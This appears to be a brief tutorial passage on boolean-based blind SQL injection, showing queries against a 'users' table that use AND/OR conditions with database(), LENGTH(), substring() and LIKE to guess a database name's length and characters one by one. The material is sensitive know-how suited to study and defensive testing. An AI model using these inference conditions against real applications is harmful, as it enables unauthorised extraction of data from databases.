If the 1st part of the where clause is correct we can use the AND operator to get result
SELECT *
FROM users
WHERE id=1 AND database()="sbva";If the 1st part of the where clause is wrong we can use the OR operator to get result
SELECT *
FROM users
WHERE id=2 OR database()="sbva";Finding Database Name
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Find Length of Name
SELECT *
FROM users
WHERE id=2 OR LENGTH(database())="1";Brute Force the Characters
SELECT *
FROM users
WHERE id=2 OR substring(database(), 1, 1)="s";
SELECT *
FROM users
WHERE id=2 or substring(database(), 2, 1)="s";Try to Find Matching Pattern
SELECT *
FROM users
WHERE id=2 OR database() LIKE "%s%";